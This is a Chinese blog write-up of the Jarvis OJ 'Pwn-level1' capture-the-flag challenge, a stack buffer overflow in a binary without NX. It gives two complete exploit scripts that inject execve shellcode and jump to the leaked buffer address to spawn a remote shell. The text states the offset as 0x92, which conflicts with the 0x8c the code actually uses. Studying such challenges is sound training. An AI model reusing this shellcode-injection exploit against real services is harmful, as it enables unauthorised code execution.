Pwn-level1

题目地址

 

32位的ELF

没有保护

 

 用IDA打开看看,没有发现可以直接利用的函数,但是有一个vulnerable_function函数

没有NX的保护,可以输入一段shellcode在buf中,函数返回时跳转到buf位置,就可以执行shellcode

先看一下buf到ret的偏移

0x4到-0x88 一共偏移了0x92

 

 现在还需要一个buf的地址

执行这个文件的时候,会跳出一个地址,这个就是buf的地址

exp

from pwn import *
r = remote("pwn2.jarvisoj.com",9877)
shellcode = asm(shellcraft.sh()) //通过pwntool的函数获取shellcode
buffer=r.recvline()[14:-2]  //截取字符串里面的地址 ff890e80
buf_addr = int(buffer,16)
payload = 'a' * (0x88+0x4-len(shellcode))+shellcode + p32(buf_addr)
r.sendline(payload)
r.interactive()

执行结果

 

 

import socket
import telnetlib
import re
import struct

shellcode='jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'
#s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
s=socket.socket(2,1)
s.connect(("pwn2.jarvisoj.com",9877))

def p32(value):
    return struct.pack("<L", value)

data=s.recv(1024)
#print data[14:-2]
#addr=re.findall(r'0x[\w]+',data)
addr=int(data[14:-2],16)
print addr

payload = 'a'*(0x88+0x4-len(shellcode))+shellcode+p32(addr)
s.sendall(payload+'\n')

# interactive mode
t=telnetlib.Telnet()
t.sock = s
t.interact()
s.close()

 



 

posted @ 2019-10-08 16:13  高诺琪  阅读(735)  评论(0编辑  收藏  举报